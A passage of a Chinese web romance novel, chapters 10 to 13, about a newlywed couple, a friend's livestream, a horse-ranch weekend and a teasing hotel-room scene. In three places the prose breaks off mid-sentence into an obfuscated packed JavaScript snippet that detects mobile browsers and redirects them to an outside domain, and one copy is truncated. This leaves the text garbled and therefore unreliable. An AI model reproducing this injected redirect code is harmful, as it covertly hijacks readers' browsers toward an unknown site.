对面显然没听出他的弦外之音,甚是得意:“那是,拿捏女人的心思,太轻松了。” 而另一边,安真正拿出手机,默默拉黑一个人。 “听你这么说,倒也能理解听说哥的看法。” 安真收起手机,对着镜子整理了下头发,随后转头问夏声:“我这会看着怎么样?” “美艳动人。” 今天是安真第一次受网络平台邀约,参加一个直播晚会。 到底是没见过的场面,还是叫夏声来陪她。 候场中,她将前两天夏声说的吵架问明白了。 “他亲嫂子那么不做人,也难怪他对婚姻持消极态度。” “坏了,只怕你这老公不好拿下咯。” 夏声靠在化妆桌前,白了她一眼:“谁要拿下他了?” “是,你不想拿下他,做一辈子老尼姑,吃素的是吧。” “现在别说亲嘴了,你俩连手都没拉过吧?” 也怪她俩太熟,安真什么话都能大喇喇甩到台面上说。 夏声从包里翻出薄荷糖,拆了一粒塞到安真嘴里。 对方抿了两口,笑话她:“给我吃干嘛,你又不跟我亲,给你家听说哥吃去。” 实在不想听她的暴言,夏声转而问起祁家骏的事。 “那你怎么惹上那公子哥的?” 安真旋出口红,在唇瓣上又补了两下。 “惹什么啊,已经踹了。” 网红圈子鱼龙混杂,安真又爱玩,大家撺局总带着她。 那晚朋友说点了陪酒来玩,安真喝得半醉半醒,迷迷糊糊还真跟一个酷哥看对了眼。 鱼水之缘,一夜笙歌。 第二天一早,她还不忘给人留些辛苦费,然后潇洒离场。 谁能想到,那是祁家的公子爷,半个影视圈都有人家的产业。 觉得受到羞辱的祁家骏就这么缠上了她。 只是这世界真小,偏偏他还是闺蜜老公的发小。 真是孽债。 工作人员已经来催候场,安真短暂忘了这糟心事,起身抓着夏声的手握了握。 “怎么办,我有点紧张。” “别怕,拿出你新生汇演连唱三首英文歌的气势来。” 安真想起自己的糗事,忍不住笑。 高考英语她只答了六十五,大学迎新晚会却非要唱英文歌,美其名曰有逼格。 确实,蹩脚的口音自信的她,成了她们那一年大一新生的话题中心。 回想过自己的光辉事迹,安真的紧张情绪也消了,一场直播游刃有余,大获成功。 退场后,她抱着夏声狠狠亲了一口。 “亲爱的,没你可怎么行。” 兴致高昂地安真打量着夏声的脸:“可惜,要不是我是女的,哪轮得到别人娶你。” 夏声推开她凑过来的脑袋,略显嫌弃。 “别,我吃素,消化不了你这艳鬼。” 说话间安真拉着夏声进了换衣间,直播服装的后背是一排拉绳,夏声一条条帮她拆。 安真透过镜子看她:“说真的,你真准备就这么过?” “什么这么过?” 衣服还没解开,安真转了过来。 “你不会是知难而退了吧,觉得反正周庭朔也是个难啃的骨头,索性扔那不管了。” 若说她没有这个心思,确实是说谎。 这段时间的相处,夏声感觉得出来,周庭朔不是愿意在感情方面用心思的人。 一是他工作狂,本就精力有限。 二是,他多少有些冷情,因着他哥的那件事。 但夏声也是个嘴硬的,扭过安真又低头顺起抽绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925514|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “我只是不需要男人,会影响我拔剑的速度。” 安真摇摇头:“唉,难为月老把你们两个木头栓一起,明明都是可燃物,结果谁都没火儿,点不着。” 这一趟折腾完也不早了,安真跟平台那边还有事要谈,夏声便先回去。 路上夏声接到了薛宁玉的电话,问她是不是跟周庭朔在一起。 “他电话打不通关机了,也没在公司,你看见他记得让他今晚务必给我回个电话。” 听她的语气,应该是很重要的事。 夏声为了传这句话,回去就一直在客厅等着。 周庭朔回到碧水华汀时,已近午夜。 上次的新药准字批复出了问题,这几天他为这事没少费心。 今天请了几位相关政要,总算谈出些头绪。 一天的倦意涌上,周庭朔松了松领带刷开密码锁,手本已搭在门厅的开关上,抬眼才恍然发现客厅灯是开着的。 沙发上,夏声曲腿靠在一角,抱着个抱枕显然已经睡着。 自从几年前他独自搬出来住,已经习惯每每深夜归家,都是一室黑暗迎接他。 而今天,突然有个人亮着灯,在等他。 周庭朔静静在门口站了一会,随即才轻声走到夏声身边,不知是不是姿势不舒服,她向扶手那侧歪了歪,脸颊蹭了蹭抱枕。 颤动的长睫投下一排阴影,白皙的脸颊泛出呓梦中的红,即使这样别扭的姿势,她的睡相依然很好。 没有张嘴巴,更没有流口水。 周庭朔将西装外套脱下来放在旁边的椅背上,俯身准备搭手抱她的时候,夏声醒了。 朦朦胧胧看到眼前的影子,夏声还以为自己在做梦。 直到周庭朔开口:“怎么不回房睡?” 夏声这才睁大了眼,随即放下腿坐起来。 “你怎么才回来,手机呢,关机了?” “嗯,没电。”周庭朔向后退开一步。 “伯母有急事找你,让你给她回电话。” 怕他没当回事,又强调一遍:“应该是很重要的事,让你务必联系她呢,你充上电就给她回。” “好。” 夏声实在是困,往常十点多就要入睡的人,硬是熬到现在。 她任务完成,于是将抱枕放到一边,准备起身回房。 只是蜷着睡得太久,腿早就麻了。 一下没站稳,又跌回沙发。 周庭朔顺手扶她,两人就这样一人仰头一人俯视,对上了眼。 “等你等得腿都麻了。” 大概睡得迷糊,她自己都没有注意到语气中的嗔怪,只顾低头撑着他手上的劲,又起了一次,这次站得稳。 见她缓得差不多,他才松手:“嗯,我的错,下次早些回来。” 谁下次还等你,自作多情。 夏声一瘸一拐地回了房。 洗漱完换好睡衣,该死的困劲又过去了。 没办法,她又爬起来去了厨房。 路过书房时,听到里面隐隐的通话声,她看了眼时间,已经凌晨。 工作狂也不是铁打的吧。 几分钟后,她敲响书房的门。 周庭朔捂着手机听筒,表情有些意外。 将手里的热牛奶递过去,夏声扬扬下巴:“热多了,送你一杯,喝了早点休息。” 喝完牛奶的夏声回到卧室,胃里暖暖的,睡意这才有些回笼,窝进被子里点开最新的一条消息。 【周庭朔:这是我助理的号码,下次如果打不通我的电话,可以尝试联系他。】 【周庭朔:还有,谢谢你的牛奶。】 11. 第 11 章 明德医院的服务很好,尤其对夏声。 办理出院结算时,工作人员恨不得鞠躬九十度相送。 夏声办好出院手续,将医生开的药给了金楠楠。 然而她却垂头丧气的:“大夫说我这石膏下个月才能拆,国考我看是没戏了。” 瞧她愁眉苦脸的样,夏声笑着从包里拿出一摞资料。 “喏,你薄弱的资料分析和图推,我已经给你整理好重要知识点和经典题型。” “我还问上一级毕业上岸的学姐要了些笔记,一起都给你吧。” 这两天夏声除了备考二笔,还要整理这些,黑眼圈都出来了。 总算成果不错。 金楠楠张着嘴巴一脸惊讶,作势就要来抱她。 怕碰到她的胳膊,夏声赶紧笑着躲开。 “呜呜呜,声声你怎么这么好,我真的太感动了。” “我要是考上了,一定请你吃大餐!” 这顿没影的大餐还没约好去哪吃,周仪娇的电话打来。 夏声找个借口,去走廊接通。 “嫂子,过两天去马场你准备穿什么啊,我选择困难症又犯了,一件也挑不出来。” “去什么马场?” 对面似乎意识到什么:“我哥还没跟你说?” 其实不是什么顶大的事,只是周仪娇身有薛宁玉下的任务,非要带着她去找周庭朔问问怎么回事。 明箴总部在市中心的CBD,一栋楼四十七层到顶,皆是明箴的职场。 专梯直达三十二层。 秘书小姐大气不敢出,将两杯咖啡送进总裁室就匆匆退出来。 “三小姐这样怎么像是找老板来兴师问罪的。” “先别纠结那个了,旁边那位是谁啊,我可一次没见过。” 秘书处的几位都是干了好几年的老员工,还是第一次在总裁办看到陌生女人,难免要八卦一下。 “不会真是老板娘?” 虽说周庭朔结婚并未铺陈声张,但作为集团执行总,他的婚姻状况是必须要公开的,所以公司内都知道老板现在是已婚。 只是从未见过那位神秘的正主。 周庭朔散会时已经近下午一点,周仪娇等得气不顺,上来就是叽叽喳喳一顿埋怨。 “你一天八百个会,我们等了你快两个小时,屁股都坐扁了!” “你是不是故意的,晾我们。” 倒是夏声,稳稳当当坐在旁边的沙发上,拿着一本财经杂志不时翻看。 周庭朔身后还跟着几个等着签字的经理,于是打断她:“说重点。” “重点。”周仪娇看了眼那几个经理人,等他们都出去了才接着说,“重点就是我们去马场的事,你怎么不跟嫂子说?” 听到这,夏声将杂志合上,调整下坐姿抬眼看他。 路上她已经听周仪娇说了。 城郊有一座邀请制的私人马场,每年这时候都会新进一批好马,然后发出邀请函请京市的名流显贵去鉴赏挑选。 对于他们来说,养马既是一种消遣,也是圈子里的社交途径。 前几天周庭朔已收到了邀请函,薛宁玉还特意提及,让他这次带着夏声。 周庭朔不动声色地瞟了眼夏声的表情,又抬手看眼腕表时间:“最近忙,还没来得及说。” “其实你可以直接说不想带我去。”夏声随及接话。 这不是她的气话。 马她又不会骑,他圈子里那些人她更是一个不认识,去了还不跟坐牢一样。 但夏声偏不说自己不想去,而是将锅甩给对方。 反正他应该也没打算带自己去。 周仪娇一听,瞪着眼睛看向她哥:“你为什么不想带嫂子去。” 似乎觉得她聒噪,周庭朔走到办公桌旁拨了电话内线:“苏晋,过来一趟。” 随后又将周仪娇拉起来,向门口的方向偏了偏头。 “去门口等着。” 一个名字,让周仪娇再没了刚刚的咋呼劲儿,跟霜茄子一样蔫蔫地嘟囔一句。 “你叫他来干什么啊,我不想看见他。” 办公室的门很快被敲响。 来敲门的男人五官周正,气质成熟干练,见到门内站着的周仪娇,眼神略一停顿。 似乎很快明白自己过来的缘由。 于是冲周庭朔点过头,就对周仪娇说:“出来吧。” 哪怕刚刚周仪娇表现得再不情愿,此刻仍一句话没多说,乖乖地就跟着出去了。 夏声纳罕:“那是谁,娇娇怎么这么听他的?” 还有心情关心其他,说明她还没太在意这事。 周庭朔落座在她旁边,返回主题:“你想去马场吗?” “不想。” “你那些朋友我也不认识,马我也不感兴趣,不去。” 她拒绝得干脆,令空气短暂陷入沉寂。 以“情感大师”祁家骏的论调,一个女人应该很在乎另一半是否将她带进自己的圈子。 除非她一点不在意对方。 不在意。 周庭朔微微展身,向后靠去。 身下的意大利进口头层牛皮大沙发,今天坐起来格外不舒服。 茶几上纯正白瓷的咖啡杯,看着也不顺眼起来。 他眉头下压,收回视线:“薛女士已经给你定了骑装,你要是不想去,我回了她。” 一听薛女士都准备上了,自己不去又要解释。 想想算了。 “那……还是去吧。” 夏声离开的时候还惦记着周仪娇:“她去哪了?” 然周庭朔似乎并不担心,语气十分淡定:“不用管她,有人会安排。” 两人一起并排向外走,秘书处的人见状都起来打招呼。 “周总。” 因为不知道夏声的身份,大家也不敢随意称呼。 夏声本不在意,正目不斜视地准备去坐电梯。 身旁人却非要加上一句:“这是我太太。” 众人随即不约而同地开始打招呼:“周太太好。” 正要走进电梯的夏声一个踉跄,差点没绊到,转头睨了周庭朔一眼。 后者泰然自若地跟她一起进了电梯。 夏声被周仪娇拉过来等了一中午,饭都没吃,这会儿才想起来,好像周庭朔也是刚刚下会就回去见她们。 周庭朔帮她按了一楼后,又给自己按了二十楼。 在楼下时,夏声看过楼宇划分图,二十层好像是企划部,不是餐厅更不是什么休息区。 所以工作狂名不虚传,不仅铁打,还连轴转不用吃喝。 “周庭朔,我来你公司等了一中午,连口饭都没吃上。” 电梯已到二十层,周庭朔略有歉意地看了她一眼,随后拿出手机。 “抱歉,一时忙忘了,我现在给你定楼下的餐厅,你去报我的名字就行。” 夏声没等他说完,抬手把电梯门关了。 轿厢缓缓下沉,她抱着双臂煞有介事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925515|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“公司一会儿没你不至于倒闭,我一个人吃饭太无聊,你一起吧。” 周庭朔拨电话的手顿住,转瞬似乎明白了什么,声音带笑地应她:“好。” * 去马场的行程定在周末,薛宁玉还特意提前几天将周灵熙接回西苑,让他们不必顾及好好玩两天。 目的地在远郊,开车要两个多小时。 路旁都是些自然景观,看得久了就犯困。 夏声不知道自己什么时候睡着的,醒来时发现自己脑袋正靠在周庭朔的肩膀上。 似乎为了不吵醒她,他还特意改用左手拿文件。 她赶紧坐起来,理了理头发,动作间甚至能闻到从他身上染到的那抹淡淡的冷香。 明明她之前是脑袋冲外,怎么倚到他那边去了。 一旁的周庭朔倒是神色如常,眼睛甚至没从手上的报表上移开。 “还没到,你可以再睡会。” 这两天她忙着复习二笔,夜熬得有点多,每到临近考试,她学起习来都不分黑白。 换算一下,跟周庭朔这个工作狂倒有点像。 她揉了揉颈侧,看向窗外。 “这地儿这么远,回头要有什么事,回市里都不好回。” 这里说是马场,更像是个度假区,五星级酒店,温泉山庄,跑马场一应俱全。 因为周庭朔还有些工作要收尾,夏声放了行李就自己先下楼来。 酒店外放着几把红色遮阳伞,下面摆着海边风的木质桌椅,夏声踩着地上的白色石子,找了个靠边的位置坐下。 远处就是一片无际的草坪,有几人正在那挥杆打球。 外面空气清新,夏声拄着下巴看风景,听着耳机里的法语新闻口播,算是这几天难得放松的时候。 想起这几天忙着准备考试,已经很久没看安真的视频账号,于是点开手机登上网站刷了刷。 没想到安真最新一期的穿搭推荐下,竟然是骂声一片。 夏声翻了几页,大抵是说安真穿着暴露,有擦边嫌疑,而且这穿搭推荐一点都不日常,有失前几期水准。 帖子里被骂的,一套辣妹风,一套纯欲风,都是安真平时生活中会出街穿的装扮。 她本就身材好,常服什么风格的都有,比视频里更火辣的夏声都见过。 也不至于被骂成这样啊? 夏声退出软件打了电话过去,等了好久安真才接起来。 对面倒不是很在乎,跟她大致讲了前因后果。 “开始也没骂这么凶,我自认没问题就又发了条微博,她们认为我是硬刚嘴硬,反正做网红就是这样,骂就骂咯,黑红也是红。” 见她一点没受影响,夏声才放心。 得知她这会正在郊外,安真又开始助攻。 “二人度假啊,晚上开瓶红酒喝喝,微醺状态好办事。” 远处周庭朔已经下来,夏声赶紧让她打住。 “一天别老想些少儿不宜的事,我先挂了啊。” “还有,最近别在网上发言了,言多必失,让这阵热度过去就好。” 安真不以为意:“好了知道了,怎么跟我妈一样啰嗦。” 周庭朔这会已走到跟前:“走吧,去给你选匹马。” 纵使没见识过,夏声也听说过,这种私人养的马都贵得很,要是血统纯正,几十万一匹也是常见。 “不用了吧,我又不会骑。” 将夏声从座位上拉起来,周庭朔似乎已决定好:“没关系,我教你。” 12. 第 12 章 跑马场比夏声想得还要大,几乎一眼望不到边。 所有马的马厩都是独立单间,有窗不说还有换风系统和二十四小时恒温,每匹马都有名字,有专门饲养员,甚至训导员。 工作人员领着他们看了几匹新到的纯种赛马,夏声不懂选,最后还是结合周庭朔的意见,定了匹棕色吉普赛凡纳马。 那马鬃毛顺长,四只马蹄为白色,颇合夏声的眼缘,而且性格温和,相对短矮也更适合她骑。 周仪娇比她们晚些到,一来就直奔马场,把她的小金马牵了出来。 “嫂子,你会骑吗,不会我可以教你。” 一旁的周庭朔显然信不过她的技术:“你看好自己别摔下来就行。” “切,瞧不起我,我找家骏哥他们去。” 周庭朔的马是一匹一米七多高的栗色汉诺威。 毛发锃亮,肌肉线条流畅紧实,浑身散发着蓬勃的力量感。 被牵着也丝毫不影响它步调优雅,夏声忍不住抬手摸了摸它的脖子。 “它好漂亮。” 周庭朔拽了拽缰绳,马儿在她面前低下头,湿热的吐息打在她的手心。 “一会带你骑两圈。” 原本周庭朔是要教她的,但一进马场就时不时有人来跟他搭话。 一来二去夏声索性让他先寒暄去,自己牵着马去遛遛,顺便熟悉熟悉培养下感情。 她走了一圈,发现周仪娇已经远远的在另一边跑起马来。 看起来不难,何况她的马温顺的很,夏声看了看马镫,不算高自己应该上得去。 找了块没什么人的地方,夏声决定试试。 “乖马儿,听话不要乱动哦。” 她抬起左脚用力踩上马镫,腰腹用力挺身跨坐一气呵成。 “哈,也不难嘛。” 上马给了夏声自信,她学着其他人的动作,轻夹马腹试图让马儿走两步。 但毕竟是第一次上马,不动还好,一动她便掌握不好那个平衡,紧张之下就使劲拉了几下缰绳。 原本情绪十分稳定的马儿突然涨了性,扬头就要跑起来。 夏声吓得惊叫,努力不让自己摔下去,可马背上的颠簸超乎她的想象,她只能紧紧抓着马鞍,吓得眼都不敢睁。 五脏六腑都被颠得错了位,直到听到有其他马蹄声靠近,紧接着她情急下扔开的缰绳被人接手。 “吁!” 马被紧急勒停,旁边的人刚翻下马,夏声就坚持不住歪了下去。 一手握缰一手拦腰接下她,夏声惊魂未定地看过去,是一张陌生的脸。 深眼高鼻,线条明廓,整张脸从容淡定,只有呼吸略有急促。 “谢谢。”夏声借着道谢从他怀里退出去。 刚刚她坠马的力道不小,对方接住她时承重歪了下,夏声不忘询问。 “你没事吧?” 对面的男人一身深蓝色骑装,丰俊尔雅,听到她的声音后眼神变了变。 “第一次来吗,自己一个人?” “不是,有人一起。”夏声看了眼安静站在旁边的马,下意识回头,刚好看见闻讯赶来的周庭朔。 见她全须全尾地站在这,周庭朔暗暗松了口气。 只是她脸色惨白,一看就知道吓得不轻。 “怎么样,伤到没?” 闹这么一出,夏声面上有些挂不住,自顾摆弄着刚脱下来的手套。 “没事。” 周庭朔显然与对面的男人认识,抬头跟对方道谢。 “卓冕,刚刚多谢了。” 名叫卓冕的男人无声望着眼前并排而立的两人,温和地笑笑。 “你我还客气什么,只是这位……” “嗐,还能是谁,他刚结婚你又不是不知道。”跟着过来的祁家骏一五一十地把自己知道那点事抖落出来,“他老婆,夏声。” 一起过来的周仪娇也被吓够呛,拉着夏声的手再三确认。 “幸好卓大哥发现得早,他马术最好。” “嗯。” 夏声抬眼,不经意又与卓冕对上视线,发现他仍在盯着自己看,那眼眸浓沉不见底,直接得让她有些不舒服。 太怪了,她收回视线,转向周仪娇。 “有没有休息的地方,我得缓缓。” 闻言,周庭朔扶着她的肩膀:“我带你去。” 一行人也都跟着一块去了休息区。 夏声捧着一杯热茶,缓了一会心才跳得没那么快。 像怕她心里不舒服,周仪娇安慰道:“嫂子你已经很厉害了,第一次就能独立上马。” “我第一次的时候还是我哥给我抱上去的呢!” “你第一次上马才几岁。” 不识趣的祁家骏刚插完言,就被一旁的周庭朔淡淡瞥了一眼。 得,哥们不高兴了。 他只好转头跟旁边的卓冕说话:“你什么时候回来的,前两天联系你还在国外呢。” 视线收回,卓冕笑了笑:“昨天,俱乐部特意打来电话,有好马我当然要看看。” “靠,说兄弟结婚你不回来,有马你倒跑得快。” “嗯。”他略有深意地看了眼夏声,“不是还没办婚礼,来得及。” 话到中途,又来了个夏声不认识的男生,看样子比他们都要小一些,应该跟夏声年纪接近。 他一身白色运动装,小麦肤色十分健康,一来就挨着祁家骏坐在沙发扶手上。 “数你年纪小,居然来最晚。”祁家骏吐槽他。 周庭朔又帮夏声换了杯茶,顺便介绍:“任珩,运动员。” 任珩笑得十分阳光:“这位就是嫂子吧,果然漂亮。” “我叫夏声。”眼前的男生看起来有亲和力多了,她多问一句,"你是什么运动员?" “网球。”说着他从衣领里捞出一条银色项链,吊坠就是一只网球拍。 “嫂子会打吗?” 两人聊起运动倒投缘,另一边祁家骏拉着卓冕说要给周仪娇找个录音棚。 周仪娇爱唱歌,这些哥哥们倒支持她瞎折腾。 只有周庭朔安静地坐在一边,目光有意无意落在卓冕身上。 十几年交情的朋友,彼此都十分了解,某些不合常理的细节他自然注意到了。 比如,这已经是第四次,夏声说话时,卓冕停住动作认真在听。 哪怕是他不动声色地举动,周庭朔也依然能察觉到。 天聊得够久了,周庭朔微微侧身询问夏声。 “还要不要出去遛两圈,带你骑骑Zerita。” Zerita就是他的那匹马。 刚刚出了那么个乌龙,夏声仍心有余悸,不过那马太漂亮了,她心里又实在痒痒的。 纠结半天,还是决定试试。 对面的卓冕跟着起身:“一起吧。” Zerita要比夏声的马高一些,周庭朔扶了她一把才能上去。 随即他长腿一跨,坐到了她身后。 双臂自她身后绕过握着缰绳,低沉的声音自耳后响起。 “坐稳了。” 这姿势几乎将她整个人揽在他怀里,但夏声被骑马的新奇体验吸引,完全没在意这些。 因为带着她,周庭朔只是让马散步般绕场行走,那边祁家骏和任珩已经开始赛马,兴头正盛。 旁边不远处,周仪娇正缠着卓冕,让他教自己障碍路怎么走。 他们经过时,周仪娇刚好上马,兴奋地冲夏声招手。 “嫂子,你要不跟我一起来学,卓大哥教人可有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925516|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐心了。” 站于马下的卓冕似笑非笑:“庭朔想必会教她,你还是先操心一会自己能不能控制好身体。” 接着又看向夏声方向:“不过,你要是想学,下次有时间我可以教。” 几乎没给夏声回答的机会,Zerita已经调转方向,小跑了起来。 “哎!” 骤然的颠簸让夏声紧张起来,她伸手抓住了身前周庭朔的手臂,连身体都僵硬起来。 感觉到她的变化,周庭朔空出一只手揽住她的腰,随后告诉她保持平衡的方法。 “别怕,我在你身后,不会出意外的。” “现在,收紧核心,放松四肢。” “全身心去感受马的律动,慢慢适应配合它。” 周庭朔的声音沉稳,有一种垒石成基的安定与稳健。 渐渐地,夏声不再那么紧张,开始感受到驰骋马背的快感,那是一种与风同驰的自由,洒脱不羁,无拘无束。 几圈过后,她还有些意犹未尽。 周庭朔刚将她从马背上抱下来,夏声就开始回头找自己的马。 不过还没等摸上缰绳,就被周庭朔制止。 “今天差不多到这,不然明天你该起不来了。” 坐在马背上她也没觉出什么,但既然他这么说了,也只能暂时作罢。 夜里,他们几个哥们去下面的酒水吧叙旧,夏声不愿意去,就自己窝在房间。 总统套的落地窗很大,她洗完澡找了块毛绒垫放在地上,坐那晾头发。 远处晨昏交接,暗沉的天际线还留有些太阳余晖,将暗未暗的画面,看起来有种萧瑟美。 她正想拿出手机拍张照片发给安真,一个电话顶了进来。 周庭朔回来时,夏声正趴在桌上奋笔疾书。 上个月接的一个活出了问题,这是她跟一个学姐共同做的,她负责的部分问题还不大,但对方那部分几乎有一半要重新翻译。 这属于她们的工作失职,不巧学姐这两天闭关培训,返工的事只能她来。 周庭朔站在她身后看了会,顺手翻了翻她手边的文稿。 “文本翻译?” 夏声头都没抬:“嗯,今晚得重新赶出来,明天对方就要。” 看这体量,她一个人弄到天亮也未必能完。 不过多时,夏声发现洗完澡的周庭朔拉了条椅子坐在她旁边。 “你去睡好了。”她干活又不用人陪。 大概看了眼她的进度,周庭朔分拣出一部分拿到自己面前。 “我先帮你粗翻,最后你过一遍,你自己一个人改,太慢了来不及。” 这一次,夏声才知道,周庭朔的法语水平远不止他说的皮毛。 经他翻译的部分,自己只需要略加调整润色,就基本可以定稿,甚至有些语句翻译的颇具美感,她都要停下来反复品味几次。 但纵使这样,两人也忙到凌晨。 大半夜夏声都在埋头翻译,完工才想起直直腰,结果悲剧地发现自己竟然浑身酸痛。 她“嘶”了一声,痛苦的表情正好被周庭朔看见。 “要是由着你再骑,明天怕是路都走不得。” 骑马看似放松自由,实际上不会骑的人,初次上马避免不了会浑身紧张。 肌肉不当发力,僵持过久,自然就会酸痛。 尽管她已经洗过澡,周庭朔还是又给她放了一浴缸热水。 “去泡二十分钟,能缓解很多。” 这会她四肢跟个生锈的机器人一样,如果这样拧巴着睡一晚,明天还不知什么光景,夏声决定听他的。 可三十分钟过去,夏声还没从浴室出来。 很不巧,她又随地大小睡了。 更不巧的是,浴室的门她忘了锁。 13. 第 13 章 浴室的门是磨砂玻璃的,刚好能透出里面的光。 时间已经过去三十分钟,里间却悄无声息。 周庭朔熄灭手机,走到门前敲了敲。 “夏声,该出来了。” 她今天本就肌肉紧张过度,泡太久会脱力。 “夏声?”又敲了几遍,还是没人应。 她的手机还扔在客厅的桌子上,周庭朔耐着性子又敲了几遍。 已经近四十分钟,周庭朔垂眸看了眼浴室门上的铜镀把手。 浴室里有着薄薄的雾气,玫瑰香薰的味道若有似无,最里间的玻璃隔断后就是浴缸。 周庭朔抬手将挂在镜子旁的浴巾拿下来,视线落在浴室墙白色瓷砖上的金色勾线上。 “夏声?” 用来隔断的玻璃凝了一层水汽,朦朦胧胧,让人看不清楚里间的情况。 又是无人应答。 周庭朔顾不得太多,拿着浴巾走进去。 水面波粼,反映着顶上暖黄的水晶灯,夏声趴在纯白的浴缸边缘,侧脸枕在手臂上正睡得香。 晕湿的黑发贴在鬓侧,顺着颈窝落进水里。 半截莹白的背覆在水面,弓出一条优美的弧线,像是天鹅憩水。 周庭朔的眸光疑似隐入暗夜的风,轻缓地落在她的身上。 他抿直了唇,须臾,弯腰伸手试了下水温。 过了这么久,水早就凉了。 下一秒,夏声被他从水中捞出,随即浴巾被盖在她身上。 流水的哗啦声,身体的骤然失重,夏声终于从睡梦中转醒。 惶惶睁眼,正对上周庭朔略显紧绷的侧脸。 浴室镜子映出两人的身影,意识到此刻的情景,夏声登时红了脸。 “你,你干嘛,放我下去,我自己能走。” 挣扎间,掩在她胸前的浴巾又下滑一寸。 周庭朔的双臂坚实有力,仍旧抱着她没有松的意思,只快速瞥了她一眼,又别过视线。 “你确定?” 胸前的浴巾被她紧紧用手按住,夏声不敢再动。 “你刚刚为什么不叫醒我?” 这话质问的没有任何攻击性,周庭朔抱着她已走到床边,将她稳稳放到床上。 “叫了,大概六七次,你没醒。” 言外之意,她的问题。 摸到床的夏声几乎手脚并用地钻到被子下,抬眼看着穿戴整齐淡然站在床边的周庭朔。 羞恼的情绪上涨,怎么都觉得自己吃了亏。 “那你刚才进去,是闭着眼的吧?” “不是。” “你!”夏声气得语塞。 “非礼勿视,你不知道吗?” 脸上泡澡的红晕还没消,此刻她被气得连脖子都要一起红,配合着缩在被子的姿势,活像个煮熟的虾子。 周庭朔眼底的笑一闪而过,仍是那副正经模样。 “我闭着眼也许会摔进浴缸,你想那样?” 似乎觉得逗她有趣的很,他转身坐在床边,一手撑在她身侧,凑近了看着她。 “你在气什么?” 明知故问,夏声没想到平时看着一本正经的人,生出恶趣味来竟是另一番面孔。 他穿着一身黑色的丝质睡衣,领口随着他俯身的动作下沉,隐约露出他的锁骨和胸前的肌肉线条。 夏声不经意看了一眼,视线像是被烫到般,又立刻收回去。 低低的笑声从他的胸腔传出。 眼见再逗真要生气了,周庭朔准备见好就收。 只是他起身的动作还没完成,一只手搭上了他的肩膀。 平日最烦输人一头的夏声一转态度,扬唇笑了笑:“我不生气了。” “只是你既然看了,为显公平,我也该看。” 凭什么她像个被人调戏的良家妇女,而他却从容自若,收放自如。 她偏不让他得逞。 夏声的手指像是导引的火线,一寸寸从他的肩膀滑到锁骨,紧接着抚上他领口上的第一颗纽扣。 黑色睡衣因抱她而沁湿的地方格外明显,夏声手腕一转,指尖又滑过他胸前。 “况且衣服都弄湿了,也得换下来吧。” 手腕骤然被握住,夏声抬头撞进周庭朔漆黑的眼中。 “好了,玩笑到此为止,你该休息了。” 看着周庭朔故作镇定的表情,夏声就像一只翘着尾巴的猫,傲娇又得意。 而随着她的动作,她的肩膀也不知不觉从被子里滑出来,周庭朔的视线刚好停留在那。 这是他第一次知道,她右侧锁骨尾端,靠近肩膀处有一颗小痣。 嫣红、生动、会随着她的笑而轻颤。 “好啦,算我大人有大量,放你一马。” 闹够了,夏声气也消了一半,想要抽回手腕,却发现仍被他攥得死死的。 她只好用了些力向后,周庭朔本就倾着身子,冷不丁被她一带,直接失了平衡向她倒过来。 两人重重摔在床上,他的鼻梁差点撞到她的唇。 一时间,室内一片寂静,只余两人隆隆的心跳声。 夏声被整个压在身下,根本动弹不得,甚至那只手还被他攥着,举在头顶。 慌乱中看向身上的人,发现他垂着的视线仍落在自己的肩膀上。 唯一能动的右手立马捂住了他的眼睛,夏声有些气急败坏:“你不许看了!” 温热的手心拢在他眼前,视线内变得一片黑暗,这反而放大了周庭朔的其他感官。 比如此时他身下紧贴着的,柔软温热随着急促呼吸起伏的身体;比如那浅淡却清晰的,落在他唇畔的吐息;比如那股馥郁的,无法忽视的玫瑰香气。 安真形容的没错,夏声的撩是不经意间流露出来的,正如此时此刻。 酒店明明是中央恒温空调,周庭朔却觉得一股燥热升腾起来。 他拉下捂在他眼前的手,对上夏声有些闪躲的眼神。 “你就非要招惹我。” 听见他的嗓音变得暗哑,夏声有些怂了。 玩笑归玩笑,真擦枪走火就得不偿失了。 “没,我好好的招惹你做什么,是你先把我……”想了半天措辞,怎么说都不好听,“不礼貌的。” “嗯,怕你着凉倒是我不礼貌。” 夏声不想再理论,这人最会倒打一耙。 况且这姿势怎么看都不适宜聊天,夏声推了推他。 “你快回你房间,我要睡了。” 周庭朔略微退开些距离,抬眼扫视一圈。 “这好像是我的房间。” 夏声眼珠转了转,又向被子下瞟了一眼:“那现在是我的了。” “你倒是霸道。” 两人讨价还价的过程中,床头柜上周庭朔的手机响了。 他快速看了眼,随即敛了神色起身。 大概因为是工作电话,又或者是为了给她行方便,他去了房间外接通。< 